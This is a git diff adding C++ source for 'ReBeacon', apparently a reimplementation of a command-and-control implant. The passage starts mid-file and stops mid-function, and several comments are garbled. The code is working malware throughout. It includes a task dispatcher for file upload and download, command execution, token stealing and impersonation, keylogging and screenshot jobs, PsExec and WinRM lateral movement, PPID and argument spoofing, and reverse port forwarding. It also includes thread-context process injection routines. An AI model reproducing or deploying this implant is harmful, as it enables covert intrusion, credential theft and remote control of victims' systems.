BeaconSleep(DWORD dwMilliseconds); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconTask.cpp b/ReBeacon_Src/BeaconTask.cpp new file mode 100644 index 0000000..d5c80c4 --- /dev/null +++ b/ReBeacon_Src/BeaconTask.cpp @@ -0,0 +1,624 @@ +#include "BeaconTask.h" +#include "Utils.h" +#include "common.h" +#include "comm.h" +#include "ChildBeacon.h" +#include "BeaconJob.h" +#include "Beaconrportfwd.h" +#include "BeaconFileManage.h" +#include "BeaconLateralMovement.h" +#include "BeaconInject.h" +#include "BeaconBof.h" + +void BeaconSleep(char* Taskdata, int Taskdata_size) +{ + datap pdatap; + if (g_dwMilliseconds) + { + BeaconDataParse(&pdatap, Taskdata, Taskdata_size); + g_dwMilliseconds = BeaconDataInt(&pdatap); + g_jitter = BeaconDataInt(&pdatap); + if (!g_jitter || g_jitter > 99) + { + g_jitter = 0; + } + } +} + +/// +/// beacon cd +/// +/// +/// +void BeaconCd(char* Taskdata, size_t Task_size) +{ + CHAR PathName[1024]; + + if (Task_size <= 1023) + { + strncpy(PathName, Taskdata, Task_size); + PathName[Task_size] = 0; + SetCurrentDirectoryA(PathName); + } +} + + + +void beacon_upload(char* Taskdata, size_t Task_size, char* Mode) +{ + datap pdatap; + char* Buffer = (char*)malloc(1024); + if (Buffer) + { + BeaconDataParse(&pdatap, Taskdata, Task_size); + if (!BeaconDataCopyToBuffer(&pdatap, Buffer, 1024)) + { + free(Buffer); + return; + } + FILE* fp = fopen(Buffer, Mode); // ļ + if (fp != (FILE*)-1 && fp) + { + int size = BeaconDataLength(&pdatap); + char* data = BeaconDataBuffer(&pdatap); + fwrite(data, 1, size, fp); + fclose(fp); + free(Buffer); + return; + } + free(Buffer); + BeaconErrorD(8, GetLastError()); + } +} + +/// +/// Beacon download +/// +/// +/// +void beacon_download(char* Taskdata, int Tasksize) +{ + + datap* pdatap = BeaconDataInit(0x1000); + char* filename = BeaconDataPtr(pdatap, 2048); + char* lpBuffer = BeaconDataPtr(pdatap, 2048); + datap Taskdatap; + BeaconDataParse(&Taskdatap, Taskdata, Tasksize); + BeaconDataCopyNToBuffer(&Taskdatap, filename, 2048); + FILE* fp = fopen(filename, "rb"); + if (fp == (FILE*)-1 || !fp) + { + BeaconTaskErrorOutput(0x28, 0, 0, filename); + BeaconDataFree(pdatap); + return; + } + fseek(fp, 0, 2); + __int64 fpsize = _ftelli64(fp); + fseek(fp, 0, 0); + if (__PAIR64__(HIDWORD(fpsize), fpsize) - 1 >= 0xFFFFFFFF) + { + BeaconTaskErrorOutput(0x3Cu, 0, 0, filename); + BeaconDataFree(pdatap); + fclose(fp); + return; + } + DWORD path_size = GetFullPathNameA(filename, 0x800, lpBuffer, 0); + if (! path_size || path_size > 0x800) + { + BeaconTaskErrorOutput(0x3D, 0, 0, filename); + BeaconDataFree(pdatap); + fclose(fp); + return; + } + + + BeaconDownload* pBeaconDownload = (BeaconDownload*)malloc(sizeof(BeaconDownload)); + pBeaconDownload->number = download_number++; + pBeaconDownload->Linked = gBeaconDownload; + pBeaconDownload->fp = fp; + pBeaconDownload->size = fpsize; + gBeaconDownload = pBeaconDownload; + + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x1000); + BeaconFormatInt(&pformatp, pBeaconDownload->number); + BeaconFormatInt(&pformatp, fpsize); + BeaconFormatAppend(&pformatp, lpBuffer, path_size); + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + BeaconTaskOutput(buffer, length, 2); + BeaconFormatFree(&pformatp); + BeaconDataFree(pdatap); +} + +/// +/// Beacon execute +/// +/// +/// +void beacon_execute(char* Taskdata, size_t Task_size) +{ + char Path[1024]; + + STARTUPINFOA StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + _PROCESS_INFORMATION processInfo = {0}; + GetStartupInfoA(&StartupInfo); + StartupInfo.dwFlags = 257; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + StartupInfo.lpDesktop = 0; + if (Task_size <= 1023) + { + strncpy(Path, Taskdata, Task_size); + Path[Task_size] = 0; + BeaconExecuteCommand(Path, Task_size, &StartupInfo, &processInfo, 0, 0); + BeaconcloseAllHandle(&processInfo); + } +} + +/// +/// Beacon spawntox86Ӧܺ13 x86Ӧܺx64 +/// Task_size +/// +/// · +/// С +/// ܹ +void beacon_SpawnTo(char* Taskdata, size_t Task_size, int x86) +{ + //BeaconDataInitҪͷȫֱ + if (!spawntoPath_x86 && !spawntoPath_x64) + { + datap* datap = BeaconDataInit(0x200); + spawntoPath_x86 = BeaconDataPtr(datap, 256); + spawntoPath_x64 = BeaconDataPtr(datap, 256); + } + //task0ʱǰ + if (Task_size && Task_size <= 256) + { + if (x86) + { + memset(spawntoPath_x86, 0, 0x100); + memcpy(spawntoPath_x86, Taskdata, Task_size); + } + else + { + memset(spawntoPath_x64, 0, 0x100); + memcpy(spawntoPath_x64, Taskdata, Task_size); + } + } + else + { + memset(spawntoPath_x86, 0, 0x100u); + memset(spawntoPath_x64, 0, 0x100u); + } + return; + +} + + + + +void BeaconVNCReflectiveDLL(char* Taskdata, int Task_size, BOOL x86) +{ + short vnc_port = ntohs(*(short*)Taskdata); + BeaconSpawnX86(1, Taskdata + 2, Task_size - 2, x86); + vnc_port = htons(vnc_port); + BeaconTaskOutput((char*)&vnc_port, 2, 7); +} + +/// +/// vncעй +/// +/// +/// +/// +void BeaconVNCInject(char* Taskdata, int Task_size, int x86) +{ + BeaconReflectiveDLLInject(Taskdata + 2, Task_size - 2, x86); + short size = htons(ntohs(*(u_long*)Taskdata)); + BeaconTaskOutput((char*)&size, 2, 7); +} + +void SpawnProcessInjection(int timeout,int p_offset,char* payload,size_t payloadsize,char* arg,int a_len,char* jobname,BOOL x86,int ignoreToken) +{ + check_close_token_fake(ignoreToken); + + + PROCESS_INFORMATION pi = {0}; + + HANDLE hReadPipe; + HANDLE hWritePipe; + SECURITY_ATTRIBUTES PipeAttributes = {0}; + PipeAttributes.lpSecurityDescriptor = 0; + PipeAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); + PipeAttributes.bInheritHandle = 1; + + CreatePipe(&hReadPipe, &hWritePipe, &PipeAttributes, 0x100000u); + + STARTUPINFOA StartupInfo = { 0 }; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.hStdInput = 0; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdOutput = hWritePipe; + StartupInfo.hStdError = hWritePipe; + StartupInfo.dwFlags = 257; + + if (BeaconSpawnTemporaryProcess(x86, ignoreToken, &StartupInfo, &pi)) + { + Sleep(0x64u); + ProcessInject(pi.dwProcessId, &pi, pi.hProcess, payload, payloadsize, p_offset, arg, a_len); + if (timeout) + { + CheckTimeout(hReadPipe, timeout); + } + Add_Beacon_0Job(pi.hProcess, pi.hThread, pi.dwProcessId, pi.dwThreadId, hReadPipe, hWritePipe, jobname); + } + check_restore_token_fake(ignoreToken); +} + +void __cdecl SpawnProcessInjectionJob(char* Taskdata, int Task_size, int x86, int ignoreToken) +{ + + datap* pdatap = BeaconDataInit(0x40u); + char* jobname = BeaconDataPtr(pdatap, 64); + + datap ptaskdatp; + BeaconDataParse(&ptaskdatp, Taskdata, Task_size); + BeaconDataShort(&ptaskdatp); + short timeout = BeaconDataShort(&ptaskdatp); + int p_offset = BeaconDataInt(&ptaskdatp); + BeaconDataCopyToBuffer(&ptaskdatp, jobname, 64); + int a_len = BeaconDataInt(&ptaskdatp); + char* arg; + if (a_len) + { + arg = BeaconDataPtr(&ptaskdatp, a_len); + } + else + { + arg = 0; + } + + int payloadsize = BeaconDataLength(&ptaskdatp); + char* payload = BeaconDataBuffer(&ptaskdatp); + SpawnProcessInjection(timeout, p_offset, payload, payloadsize, arg, a_len, jobname, x86, ignoreToken); + BeaconDataClear(pdatap); + BeaconDataFree(pdatap); +} + +void beacon_runu(char* Taskdata, int Task_size) +{ + + STARTUPINFOA StartupInfo = { 0 }; + PROCESS_INFORMATION pi; + StartupInfo.cb = sizeof(STARTUPINFOA); + GetStartupInfoA(&StartupInfo); + StartupInfo.dwFlags = 257; + StartupInfo.wShowWindow = 0; + StartupInfo.hStdInput = 0; + StartupInfo.hStdOutput = 0; + StartupInfo.hStdError = 0; + + datap* pdatap = BeaconDataInit(0x2000u); + char* cmd = BeaconDataPtr(pdatap, 0x2000); + + datap taskdatap; + BeaconDataParse(&taskdatap, Taskdata, Task_size); + int PPID = BeaconDataInt(&taskdatap); + + BeaconDataCopyToBuffer(&taskdatap, cmd, 0x2000); + BeaconCreateProcess(cmd, strlen(cmd), &StartupInfo, &pi, 16, 0, PPID); + BeaconDataClearFree(pdatap); + BeaconcloseAllHandle(&pi); +} + +void Task_handle(char* Taskdata, size_t Task_size, int Task_id) +{ + switch (Task_id) + { + case 1: + BeaconSpawnX86(1, Taskdata, Task_size, 1); + return; + case 3: + Beacon_end(); // exit Beacon + return; + case 4: + BeaconSleep(Taskdata, Task_size); //sleep + return; + case 5: + BeaconCd(Taskdata, Task_size); // cd + return; + case 9: + BeaconReflectiveDLLInject(Taskdata, Task_size, 1);// x86 ڲdllע ʵkeyLogger Printscreen PsInject Screenshot Screenwatch֮ + return; + case 10: + beacon_upload(Taskdata, Task_size, (char*)"wb");// ĿϴļIJ uploadelevate[sve-exe] + return; + case 11: + beacon_download(Taskdata, Task_size); // ļ + return; + case 12: + beacon_execute(Taskdata, Task_size); // execute + return; + case 13: + beacon_SpawnTo(Taskdata, Task_size, 1); + return; + //////////////////// + case 14: + sub_10006B2B(Taskdata, Task_size); + return; + case 15: + sub_10006CFC(Taskdata, Task_size); + return; + case 16: + { + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + u_long unknown = ntohl(*(u_long*)Taskdata); + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state && unknown == pgBeaconRportfwd->field_0 && pgBeaconRportfwd->field_10 != 2) + { + pgBeaconRportfwd->state = 0; + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } + return; + } + + case 17: + sub_10006ACD(Taskdata); + return; + //////////////////// + + case 18: + BeaconVNCReflectiveDLL(Taskdata, Task_size, 1); // vncdllעй + return; + case 19: + { + //ȡ + BeaconDownload* pgBeaconDownload = gBeaconDownload; + int v4 = ntohl(*(DWORD*)Taskdata); + while (pgBeaconDownload) + { + if (pgBeaconDownload->number == v4) + { + fclose(pgBeaconDownload->fp); + pgBeaconDownload->size = 0; + } + pgBeaconDownload = pgBeaconDownload->Linked; + } + return; + } + case 22: + //beacon + BeaconRequestChildBeacon(Taskdata, Task_size); + return; + case 23: + BeaconUnlink(ntohl(*(u_long*)Taskdata));// unlink + return; + case 24: + { + int ChildBeaconId = ntohl(*(u_long*)Taskdata); + int i; + for (i = 0; i <= gChildBeaconInfoSize; i++) + { + if (ChildBeaconId == gChildBeaconInfo[i].ChildBeaconId || gChildBeaconInfo[i].state == 1) + { + break; + } + if (i >= gChildBeaconInfoSize) + { + return; + } + } + BeaconTaskOutput(gChildBeaconInfo[i].ChildBeaconData, gChildBeaconInfo[i].ChildBeaconDataSize, 10); + return; + } + case 27: + beacon_GetUID(); // GetUID + return; + case 28: + BeaconRevertToken(); // Rev2Self + return; + case 31: + beacon_steal_token(Taskdata, Task_size);// steal_token + return; + case 32: + beacon_ps(Taskdata, Task_size); // ps + return; + case 33: + beacon_Kill(Taskdata, Task_size); // Kill + return; + case 37: + BeaconPowerShellImport(Taskdata, Task_size); // 37 powershellImport + return; + case 38: + beacon_RunAs(Taskdata, Task_size); // RunAs + return; + case 39: + beacon_pwd(); // pwd + return; + case 40: + BeaconBackstageJob(0, Taskdata, Task_size, 0); + return; + case 41: + beacon_jobs(); // jobs + return; + case 42: + beacon_JobKill(Taskdata, Task_size); // JobKill + return; + case 43: + BeaconReflectiveDLLInject(Taskdata, Task_size, 0);// beacon_Inject + return; + case 44: + BeaconSpawnX86(1, Taskdata, Task_size, 0); // csܣҪ̵spawn ShellcodeSpawn SpawnAndTunnel + return; + case 45: // 4546 vncעй + BeaconVNCInject(Taskdata, Task_size, 1); + return; + case 46: + BeaconVNCInject(Taskdata, Task_size, 0); + return; + case 47: + BeaconSleepN(Taskdata, Task_size); + return; + case 49: + beacon_make_token(Taskdata, Task_size); // make_token + return; + case 50: + sub_100071B7(Taskdata, Task_size, 0); // PortForward,PortForwardLocal rportfwd start + return; + case 51: + sub_1000728D(Taskdata, Task_size); // rportfwd Stop + return; + case 52: + SendStageTCP(Taskdata, Task_size); + return; + case 53: + BeaconLs(Taskdata, Task_size); // ļ + return; + case 54: + beacon_MkDir(Taskdata, Task_size); // MkDir + return; + case 55: + GetDrivesList(Taskdata, Task_size); // GetLogicalDrives + return; + case 56: + beacon_rm(Taskdata, Task_size); // rm + return; + case 57: + NamedPipesSendData(Taskdata, Task_size); // PsExecPSH + return; + case 59: + ScriptCradle(Taskdata, Task_size); // jump_WinRM + return; + case 60: + StartNamedPipeReceiveData(Taskdata, Task_size); + return; + case 61: + ImpersonationToken(); + return; + case 62: + BeaconBackstageJob(1, Taskdata, Task_size, 0); + return; + case 67: + beacon_upload(Taskdata, Task_size, (char*)"ab"); // ϴļ + return; + case 68: + link_Smb_Beacon(Taskdata); + return; + case 69: + beacon_SpawnTo(Taskdata, Task_size, 0); // SpawnTo + return; + case 70: + SpawnProcessInjectionJob(Taskdata, Task_size, 1, 1); + return; + case 71: + SpawnProcessInjectionJob(Taskdata, Task_size, 0, 1); + return; + case 72: + beacon_SetEnv(Taskdata); // SetEnv + return; + case 73: + beacon_copy(Taskdata, Task_size); // cp + return; + case 74: + beacon_Move(Taskdata, Task_size); // Move + return; + case 75: + beacon_PPID(Taskdata, Task_size); // PPID + return; + case 76: + beacon_runu(Taskdata, Task_size); // runu + return; + case 77: + beacon_GetPrivs(Taskdata, Task_size); // GetPrivs + return; + case 78: + BeaconRunCommand(Taskdata, Task_size); // runCommand Run Shell + return; + case 79: + BeaconWebDelivery(Taskdata, Task_size); + return; + case 82: + BeaconTcpPivot(Taskdata, Task_size); // tcppivot ת rportfwd port + return; + case 83: + BeaconSpoofArgsAdd(Taskdata, Task_size); // SpoofArgsAdd ý·ͼ + return; + case 84: + SpoofArgsRemove(Taskdata, Task_size); // SpoofArgsRemove + return; + case 85: + SpoofArgsList(); // SpoofArgsList 鿴ƭ + return; + case 86: + connect_tcp_child_Beacon(Taskdata, Task_size);// Connect tcp beacon + return; + case 87: + SpawnProcessInjectionJob(Taskdata, Task_size, 1, 0); // ExecuteAssembly + return; + case 88: + SpawnProcessInjectionJob(Taskdata, Task_size, 0, 0);// ExecuteAssembly + return; + case 89: + BeaconSpawnX86(0, Taskdata, Task_size, 1); + return; + case 90: + BeaconSpawnX86(0, Taskdata, Task_size, 0); + return; + case 91: + BeaconVNCReflectiveDLL(Taskdata, Task_size, 0); + return; + case 92: + beacon_BlockDLLs(Taskdata, Task_size); // BlockDLLs + return; + case 93: // spawnas 93 94 + BeaconSpawnas(Taskdata, Task_size, 1); // COMMAND_SPAWNAS_X86 + return; + case 94: + BeaconSpawnas(Taskdata, Task_size, 0); // COMMAND_SPAWNAS_X64 + return; + case 98: // spawnu 98 99 + BeaconSpawnu(Taskdata, Task_size, 1); // COMMAND_SPAWNU_X86 + return; + case 99: + BeaconSpawnu(Taskdata, Task_size, 0); // COMMAND_SPAWNU_X64 + return; + case 100: + beacon_bof(Taskdata, Task_size); // bof DllLoad,Elevate[BypassUACToken,PsExec],GetSystem,RegQuery,remoteexec,runasadmin,TimeStomp + return; + case 101: + BeaconBackstageJob(0, Taskdata, Task_size, 1);// Printscreen,Screenshot,Screenwatch,keylogger ͸jobs + return; + case 102: + sub_100071B7(Taskdata, Task_size, 0x100007F);// SpawnAndTunnel + return; + default: + return; + } +} + +void Parse_Task(BeaconTask* beaconTask, size_t length) +{ + if (length) + { + BeaconTask* pbeaconTask = beaconTask; + while (true) + { + int Task_length = ntohl(pbeaconTask->length); + int Task_id = ntohl(pbeaconTask->id); + if ((char*)pbeaconTask + Task_length + 8 >= (char*)beaconTask+ length) + { + Task_handle(pbeaconTask->data, Task_length, Task_id); + break; + } + Task_handle(pbeaconTask->data, Task_length, Task_id); + *(ULONG_PTR*)&pbeaconTask = (ULONG_PTR)((char*)pbeaconTask+Task_length + 8); + } + } + memset(beaconTask, 0, length); +} \ No newline at end of file diff --git a/ReBeacon_Src/BeaconTask.h b/ReBeacon_Src/BeaconTask.h new file mode 100644 index 0000000..ac5bcd3 --- /dev/null +++ b/ReBeacon_Src/BeaconTask.h @@ -0,0 +1,8 @@ +#pragma once +#include "Global.h" + + + +void Parse_Task(BeaconTask* beaconTask, size_t length); + +int __cdecl sub_10003687(BeaconStartProcess* pBeaconStartProcess); \ No newline at end of file diff --git a/ReBeacon_Src/BeaconX64.cpp b/ReBeacon_Src/BeaconX64.cpp new file mode 100644 index 0000000..89903e6 --- /dev/null +++ b/ReBeacon_Src/BeaconX64.cpp @@ -0,0 +1,272 @@ +/* +x64ɵǽע벿мδʵ +*/ + +#include "BeaconX64.h" +#include "comm.h" +#include "common.h" + + +#ifdef _WIN64 + +//x64עx86 +BOOL sub_180012278(HANDLE hThread, DWORD BaseAddress, DWORD64 lpParameter) +{ + + if (lpParameter) + { + return 0; + } + WOW64_CONTEXT Context; + Context.ContextFlags = 0x100002; + if (!Wow64GetThreadContext(hThread, &Context)) + { + return 0; + } + Context.Eax = BaseAddress; + if (!Wow64SetThreadContext(hThread, &Context)) + { + return 0; + } + return ResumeThread(hThread) != -1; +} + +//x64עx64 +BOOL sub_1800121EC(HANDLE hThread, DWORD64 BaseAddress, DWORD64 lpParameter) +{ + + CONTEXT Context; + + Context.ContextFlags = 0x100002; + if (!GetThreadContext(hThread, &Context)) + { + return 0; + } + Context.Rcx = BaseAddress; + Context.Rdx = lpParameter; + if (!SetThreadContext(hThread, &Context)) + { + return 0; + } + return ResumeThread(hThread) != -1; +} + +BOOL sub_1800121D8(BeaconProcessInject* pBeaconProcessInject, DWORD64 BaseAddress, DWORD64 lpParameter) +{ + HANDLE hThread = pBeaconProcessInject->hThread; + if (pBeaconProcessInject->is_process_arch == 0) + { + return sub_180012278(hThread, BaseAddress, lpParameter); + } + else + { + return sub_1800121EC(hThread, BaseAddress, lpParameter); + } +} + + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS) +{ + DWORD flOldProtect; + + if (is_process_arch(pInfo->hProcess)) + { + BeaconErrorNA(0x40); + return 0; + } + + CONTEXT Context; + DWORD64 addr = 0; + UNICODE_STRING CommandLine = { 0 }; + Context.ContextFlags = 0x10002; + if (!GetThreadContext(pInfo->hThread, &Context) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(Context.Rdx + 32), &addr, 8, 0) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(addr + 112), &CommandLine, sizeof(UNICODE_STRING), 0) + || !VirtualProtectEx(pInfo->hProcess, (LPVOID)CommandLine.Buffer, CommandLine.MaximumLength, 4, &flOldProtect)) + { + BeaconErrorD(0x41, GetLastError()); + return 0; + } + char* argc = (char*)malloc(CommandLine.MaximumLength); + memset(argc, 0, CommandLine.MaximumLength); + if (!toWideChar(pBPS->cmd, (LPWSTR)argc, CommandLine.MaximumLength)) + { + BeaconErrorNA(0x42); + free(argc); + return 0; + } + SIZE_T NumberOfBytesWritten; + if (!WriteProcessMemory(pInfo->hProcess, (LPVOID)CommandLine.Buffer, argc, CommandLine.MaximumLength, &NumberOfBytesWritten)) + { + BeaconErrorD(65, GetLastError()); + free(argc); + return 0; + } + return 1; +} + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset) +{ + HANDLE Thread = NULL; + FARPROC ProcAddress = GetProcAddress(GetModuleHandleA(lpModuleName), lpProcName); + if (!ProcAddress) + { + return 0; + } + + if (Remote == 6) + { + Thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, NULL); + } + else + { + if (Remote != 7) + { + return 0; + } + Thread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, 0); + } + + if (!Thread) + { + return 0; + } + CONTEXT Context; + Context.ContextFlags = 0x10000B; + if (!GetThreadContext(Thread, &Context)) + { + return 0; + } + Context.Rcx = (DWORD64)BaseAddress; + + + if (!SetThreadContext(Thread, &Context)) + { + return 0; + } + return ResumeThread(Thread) != -1; +} + + + +#else +BOOL sub_10005463(BeaconProcessInject* pBeaconProcessInject, char* BaseAddress, LPVOID lpParameter) +{ + + if (lpParameter) + { + return 0; + } + if (!pBeaconProcessInject->is_system_process) + { + return 0; + } + CONTEXT Context; + Context.ContextFlags = 0x10002; + if (!GetThreadContext(pBeaconProcessInject->hThread, &Context)) + { + return 0; + } + Context.Eax = (DWORD)BaseAddress; + return SetThreadContext(pBeaconProcessInject->hThread, &Context) + && ResumeThread(pBeaconProcessInject->hThread) != -1; +} + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS) +{ + DWORD flOldProtect; + + if (is_process_arch(pInfo->hProcess)) + { + BeaconErrorNA(0x40); + return 0; + } + + CONTEXT Context; + DWORD addr = 0; + UNICODE_STRING CommandLine = { 0 }; + Context.ContextFlags = 0x10002; + if (!GetThreadContext(pInfo->hThread, &Context) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(Context.Ebx + 16), &addr, 4u, 0) + || !ReadProcessMemory(pInfo->hProcess, (LPCVOID)(addr + 64), &CommandLine, 8, 0) + || !VirtualProtectEx(pInfo->hProcess, (LPVOID)CommandLine.Buffer, CommandLine.Length, 4, &flOldProtect)) + { + BeaconErrorD(0x41, GetLastError()); + return 0; + } + char* argc = (char*)malloc(CommandLine.Length); + memset(argc, 0, CommandLine.Length); + if (!toWideChar(pBPS->cmd, (LPWSTR)argc, CommandLine.Length)) + { + BeaconErrorNA(0x42); + free(argc); + return 0; + } + SIZE_T NumberOfBytesWritten; + if (!WriteProcessMemory(pInfo->hProcess, (LPVOID)CommandLine.Buffer, argc, CommandLine.Length, &NumberOfBytesWritten)) + { + BeaconErrorD(65, GetLastError()); + free(argc); + return 0; + } + return 1; +} + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset) +{ + HANDLE Thread = NULL; + FARPROC ProcAddress = GetProcAddress(GetModuleHandleA(lpModuleName), lpProcName); + if (!ProcAddress) + { + return 0; + } + + if (Remote == 6) + { + Thread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, NULL); + } + else + { + if (Remote != 7) + { + return 0; + } + Thread = CreateRemoteThread(hProcess, 0, 0, (LPTHREAD_START_ROUTINE)((char*)ProcAddress + offset), lpParameter, CREATE_SUSPENDED, 0); + } + + if (!Thread) + { + return 0; + } + CONTEXT Context; + Context.ContextFlags = 0x10007; + if (!GetThreadContext(Thread, &Context)) + { + return 0; + } + Context.Eax = (DWORD)BaseAddress; + + + if (!SetThreadContext(Thread, &Context)) + { + return 0; + } + return ResumeThread(Thread) != -1; +} + + +#endif // _WIN64 \ No newline at end of file diff --git a/ReBeacon_Src/BeaconX64.h b/ReBeacon_Src/BeaconX64.h new file mode 100644 index 0000000..cf91400 --- /dev/null +++ b/ReBeacon_Src/BeaconX64.h @@ -0,0 +1,42 @@ +#pragma once +#include "Global.h" + +#ifdef _WIN64 + +//x64עx86 +BOOL sub_180012278(HANDLE hThread, DWORD BaseAddress, DWORD64 lpParameter); + +//x64עx64 +BOOL sub_1800121EC(HANDLE hThread, DWORD64 BaseAddress, DWORD64 lpParameter); + +BOOL sub_1800121D8(BeaconProcessInject* pBeaconProcessInject, DWORD64 BaseAddress, DWORD64 lpParameter); + + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS); + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset); + + +#else +BOOL sub_10005463(BeaconProcessInject* pBeaconProcessInject, char* BaseAddress, LPVOID lpParameter); + +int sub_10003444(PROCESS_INFORMATION* pInfo, BeaconParameterSpoofing* pBPS); + +BOOL sub_10004FA1( + int Remote, + HANDLE hProcess, + PVOID BaseAddress, + LPVOID lpParameter, + LPCSTR lpModuleName, + LPCSTR lpProcName, + int offset); + + +#endif // _WIN64 \ No newline at end of file diff --git a/ReBeacon_Src/Beaconrportfwd.cpp b/ReBeacon_Src/Beaconrportfwd.cpp new file mode 100644 index 0000000..25fbc6d --- /dev/null +++ b/ReBeacon_Src/Beaconrportfwd.cpp @@ -0,0 +1,537 @@ +#include "Beaconrportfwd.h" +#include "common.h" +#include "comm.h" +#include +#include "ChildBeacon.h" + + +BeaconRportfwd* gBeaconRportfwd =0; +int sub_1000718A(short port) +{ + BeaconRportfwd* pBeaconRportfwd; + for (pBeaconRportfwd = gBeaconRportfwd; pBeaconRportfwd; pBeaconRportfwd = pBeaconRportfwd->Linked) + { + if (pBeaconRportfwd->state && pBeaconRportfwd->field_10 == 2 && pBeaconRportfwd->port == port) + { + return 1; + } + } + return 0; +} +SOCKET BeaconNewSocket(int addr, u_short port, int backlog) +{ + sockaddr_in name; + u_long argp = 1; + init_socket_options(); + SOCKET s = socket(AF_INET, SOCK_STREAM, NULL); + if (s == -1) + { + return -1; + } + + name.sin_family = AF_INET; + name.sin_port = htons(port); + name.sin_addr.S_un.S_addr = addr; + if (ioctlsocket(s, 0x8004667E, &argp) == -1 || bind(s, (sockaddr*)&name, sizeof(sockaddr_in)) == -1 || listen(s, backlog) == -1) + { + closesocket(s); + return -1; + } + return s; +} + +int dword_10037E58; +int sub_10006D6B() +{ + return (dword_10037E58++ & 0x3FFFFFF) + 0x4000000; +} + +void Add_Beacon_Rportfwd(int unknown, SOCKET socket, int a3, int a4, int port, int a6) +{ + + BeaconRportfwd* pBeaconRportfwd = (BeaconRportfwd*)malloc(sizeof(BeaconRportfwd)); + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + pBeaconRportfwd->Linked = gBeaconRportfwd; + pBeaconRportfwd->field_0 = unknown; + pBeaconRportfwd->socket = socket; + pBeaconRportfwd->state = a6; + int TickCount = GetTickCount(); + pBeaconRportfwd->field_C_time = 0; + pBeaconRportfwd->field_18 = TickCount; + pBeaconRportfwd->field_8_time = a3; + pBeaconRportfwd->field_10 = a4; + pBeaconRportfwd->port = port; + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->field_0 == unknown) + { + pgBeaconRportfwd->state = 0; + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } + gBeaconRportfwd = pBeaconRportfwd; +} + +void sub_100071B7(char* Taskdata, int Task_size, int addr) +{ + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + //ǷѾض˿ + if (!sub_1000718A(port)) + { + SOCKET s = BeaconNewSocket(addr, port, 10); + if (s == -1) + { + BeaconErrorD(0x15u, port); + } + else + { + Add_Beacon_Rportfwd(sub_10006D6B(), s, 0, 2, port, 2); + } + } +} + +void sub_1000728D(char* Taskdata, int Task_size) +{ + + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + datap pdatap; + BeaconDataParse(&pdatap, Taskdata, Task_size); + short port = BeaconDataShort(&pdatap); + while (pgBeaconRportfwd) + { + if (pgBeaconRportfwd->state) + { + if (pgBeaconRportfwd->field_10 == 2 && pgBeaconRportfwd->port == port) + { + pgBeaconRportfwd->state = 0; + } + if (pgBeaconRportfwd->field_10 == 3 && pgBeaconRportfwd->port == port) + { + pgBeaconRportfwd->state = 0; + } + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + } +} + +void sub_10006D81() +{ + + fd_set writefds; + fd_set exceptfds; + fd_set readfds; + + timeval timeout; + timeout.tv_sec = 0; + timeout.tv_usec = 100; + BeaconRportfwd* pgBeaconRportfwd = gBeaconRportfwd; + if (pgBeaconRportfwd) + { + while (1) + { + if (pgBeaconRportfwd->state != 2) + { + if (!pgBeaconRportfwd->Linked) + { + return; + } + pgBeaconRportfwd = pgBeaconRportfwd->Linked; + continue; + } + int data = htonl(pgBeaconRportfwd->field_0); + writefds.fd_count = 0; + exceptfds.fd_count = 0; + readfds.fd_count = 0; + + writefds.fd_array[0] = pgBeaconRportfwd->socket; + writefds.fd_count = 1; + + exceptfds.fd_array[0] = pgBeaconRportfwd->socket; + exceptfds.fd_count = 1; + + readfds.fd_array[0] = pgBeaconRportfwd->socket; + readfds.fd_count = 1; + + select(0, &readfds, &writefds, &exceptfds, &timeout); + + if (pgBeaconRportfwd->field_10 == 2) + { + if (__WSAFDIsSet(pgBeaconRportfwd->socket, &readfds)) + { + u_long argp = 1; + SOCKET s = accept(pgBeaconRportfwd->socket, 0, 0); + if (ioctlsocket(s, FIONBIO, &argp) == -1) + { + closesocket(s); + return; + } + int unknown = sub_10006D6B(); + data = unknown; + Add_Beacon_Rportfwd(unknown, s, 180000, 0, 0, 1); + formatp pformatp; + BeaconFormatAlloc(&pformatp, 0x80u); + BeaconFormatInt(&pformatp, unknown); + BeaconFormatInt(&pformatp, pgBeaconRportfwd->port); + int length = BeaconFormatlength(&pformatp); + char* buffer = BeaconFormatOriginalPtr(&pformatp); + 